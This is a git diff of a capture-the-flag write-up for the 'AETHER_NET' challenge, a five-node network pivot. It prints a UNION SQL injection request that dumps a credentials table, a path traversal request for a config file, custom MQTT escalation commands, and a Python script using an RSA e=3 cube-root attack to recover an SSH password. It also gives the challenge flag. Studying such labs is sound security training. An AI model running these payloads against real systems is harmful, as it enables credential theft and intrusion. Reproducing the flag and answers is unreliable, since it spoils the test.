diff --git a/Misc/AETHER_NET/README.md b/Misc/AETHER_NET/README.md index 4a7219a..557e5ae 100644 --- a/Misc/AETHER_NET/README.md +++ b/Misc/AETHER_NET/README.md @@ -1,196 +1,197 @@ -# AETHER_NET — Solution +# AETHER_NET -**Difficulty:** Insane | **Category:** Misc | **Flag:** `ESPILON{4eth3r_n3t_d3us_4dm1n}` +| Field | Value | +|-------|-------| +| Category | Misc | +| Difficulty | Insane | +| Points | — | +| Author | Eun0us | +| CTF | Espilon 2026 | -## Overview +--- -Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted -from the previous layer. All services run inside a single Docker container exposed -on different ports. +## Description -```text +Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted +from the previous layer. + +``` lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22 - (entry hints) (SQLi) (MQTT) (RSA decrypt) (flag) ``` --- -## Layer 01 — Entry Terminal +## TL;DR + +5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT +escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password → +SSH to deus-admin → read the flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| `nc` | Access lain-terminal and bear-iot | +| `curl` | SQL injection on alice-web | +| Python 3 + `gmpy2` | RSA cube root attack | +| `ssh` | Final access to deus-admin | + +--- + +## Solution + +### Layer 01 — Entry Terminal ```bash nc 1337 -``` - -Read the available files: - -```text cat notes.txt cat /var/log/network.log cat ~/.bash_history ``` -`notes.txt` maps the network topology and drops the key hint: -> "The search function... doesn't sanitize input. The system_config table has everything you need." +`notes.txt` maps the full topology and says: +> "The search function... doesn't sanitize input. The system_config table has everything." -`network.log` lists all five nodes and their ports. `.bash_history` shows partial -MQTT credentials and previous curl commands. +`network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT +credentials and previous curl commands. + +> 📸 `[screenshot: notes.txt showing network topology map]` --- -## Layer 02 — Alice-Web (SQLi) +### Layer 02 — Alice-Web (SQL Injection) -Hit the status endpoint first to confirm the hint: +Confirm the hint: ```bash curl http://:8080/api/status ``` -Response confirms: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` +Response: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` -### UNION SQLi on `/search?q=` +**UNION SQLi on `/search?q=`:** -The query is: -```sql -SELECT id, name, room, status FROM patients WHERE name LIKE '%%' -``` - -Extract the entire `system_config` table: +The query is `SELECT id, name, room, status FROM patients WHERE name LIKE '%%'` ```bash curl "http://:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--" ``` -URL-decoded payload: `' UNION SELECT null,key,value,description FROM system_config--` +Decoded: `' UNION SELECT null,key,value,description FROM system_config--` -Response contains: +Response extracts: ```json {"results": [ {"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"}, {"id": null, "name": "mqtt_pass", "room": "", "status": "IoT broker password"}, - {"id": null, "name": "mqtt_host", "room": "bear-iot", "status": "IoT broker hostname"}, - {"id": null, "name": "admin_token", "room": "", "status": "..."}, + {"id": null, "name": "admin_token", "room": "", "status": "24-char admin token"}, ... ]} ``` -Collect: `mqtt_pass` and `admin_token` (the 24-char hex token). - -### Alternative: path traversal +**Alternative — path traversal:** ```bash curl "http://:8080/docs?file=../../var/aether/config.json" ``` -Reads the full instance config directly, including all credentials. +Returns the full instance config with all credentials. + +> 📸 `[screenshot: SQLi response returning mqtt_pass and admin_token from system_config]` --- -## Layer 03 — Bear-IoT (WIRED-MQTT) - -Connect with netcat: +### Layer 03 — Bear-IoT (Custom MQTT) ```bash nc 1883 ``` -Authenticate and escalate to admin: - ```text CONNECT operator ADMIN LIST ``` -`LIST` reveals the two hidden topics: +`LIST` reveals two hidden topics: - `wired/system/config` - `wired/knights/` -Subscribe to get the RSA parameters: - ```text SUBSCRIBE wired/system/config ``` -Response includes: +Response includes RSA parameters: -```text +``` RSA Public Key: n = <512-bit decimal> e = 3 Ciphertext (hex): ``` -Subscribe to the knights topic for the exploit hint: - ```text SUBSCRIBE wired/knights/ ``` -Response (base64-decoded): -> "e=3. No padding. The plaintext is short. Cube root gives the key." +Response (base64-decoded): *"e=3. No padding. The plaintext is short. Cube root gives the key."* + +> 📸 `[screenshot: MQTT response with RSA public key and ciphertext]` --- -## Layer 04 — RSA Cube Root Attack +### Layer 04 — RSA Cube Root Attack -The RSA parameters are weak by design: -- `n` is 512 bits (two 256-bit primes) +**Conditions for the attack:** + +- `n` is 512 bits - `e = 3` -- Plaintext `m` ≤ 20 bytes → `m < 2^160` -- Since `m^3 < n`, the modular reduction never triggers: `c = m^3` exactly - -Therefore: `m = ∛c` (integer cube root, no modular arithmetic needed). +- Plaintext `m` ≤ 20 bytes (`m < 2^160`) +- Since `m^3 < n`, modular reduction never occurs: `c = m^3` exactly +- Therefore: `m = ∛c` (integer cube root) ```python -import gmpy2, socket, struct +import gmpy2 -HOST = "" -PORT = 9443 - -# Connect to maxis-crypto to confirm params (or use values from Layer 03) -with socket.create_connection((HOST, PORT)) as s: - data = s.recv(4096).decode() - print(data) - -# Extract n and c from the received data, then: -n = # 512-bit integer +n = c = int("", 16) m, exact = gmpy2.iroot(c, 3) -assert exact, "Cube root is not exact — attack condition failed" +assert exact, "Cube root is not exact" -# Decode the password (padded to 20 bytes with null bytes) deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode() -print(f"deus SSH password: {deus_pass}") +print(f"SSH password: {deus_pass}") ``` +> 📸 `[screenshot: Python script computing the cube root and printing the SSH password]` + --- -## Layer 05 — SSH to Deus-Admin +### Layer 05 — SSH to Deus-Admin ```bash ssh deus@ -p 22 -# Enter deus_pass from Layer 04 -``` - -```bash +# password from Layer 04 cat flag.txt ``` -```text -ESPILON{4eth3r_n3t_d3us_4dm1n} -``` +> 📸 `[screenshot: SSH session showing the flag in flag.txt]` --- -## Key Concepts +### Key concepts -- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates internal credentials from a hidden table -- **Path traversal**: `../../var/aether/config.json` bypasses the `/docs` base directory restriction -- **Custom MQTT escalation**: `ADMIN ` command unlocks hidden broker topics unavailable to regular subscribers -- **RSA e=3 cube root attack**: When `m^3 < n` (no modular reduction), the ciphertext is literally `m^3` — integer cube root recovers plaintext in O(1) +- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates hidden credentials +- **Path traversal**: `../../var/aether/config.json` bypasses directory restriction +- **Custom MQTT escalation**: `ADMIN ` unlocks hidden broker topics +- **RSA e=3 cube root attack**: When `m^3 < n` (no reduction), `c = m^3` exactly — + integer cube root recovers plaintext in O(log n) time -## Author +--- -Eun0us +## Flag + +`ESPILON{4eth3r_n3t_d3us_4dm1n}`